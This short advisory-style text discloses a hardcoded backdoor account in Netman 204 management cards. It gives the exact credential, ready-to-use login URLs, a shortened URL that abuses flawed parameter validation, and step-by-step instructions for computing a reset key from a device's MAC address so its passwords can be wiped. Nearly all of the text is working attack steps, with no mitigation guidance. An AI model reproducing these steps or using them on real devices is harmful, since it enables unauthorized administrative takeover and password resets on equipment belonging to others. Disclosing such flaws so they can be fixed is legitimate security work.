Netman 204 Backdoor and weak password recovery function
Netman 204 cards have a backdoor account eurek:eurek which can be logged in by simply browsing to the URL http://[IP]/cgi-bin/login.cgi?username=eurek&password=eurek or https://[IP]/cgi-bin/login.cgi?username=eurek&password=eurek. Due to flaws in parameter validation, the URL can be shortened to http://[IP]/cgi-bin/login.cgi?username=eurek%20eurek or https://[IP]/cgi-bin/login.cgi?username=eurek%20eurek. If an admin has changed the passwords, they can be reset by generating a reset key from the MAC address if you are on the same subnet. To generate the key, do an MD5 hash of 204:[MAC ADDRESS] and take characters 2-10, then browse to the url http://[ip]/cgi-bin/recover2.cgi?password=354a65581 or https://[ip]/cgi-bin/recover2.cgi?password=354a65581. Passwords have now been reset.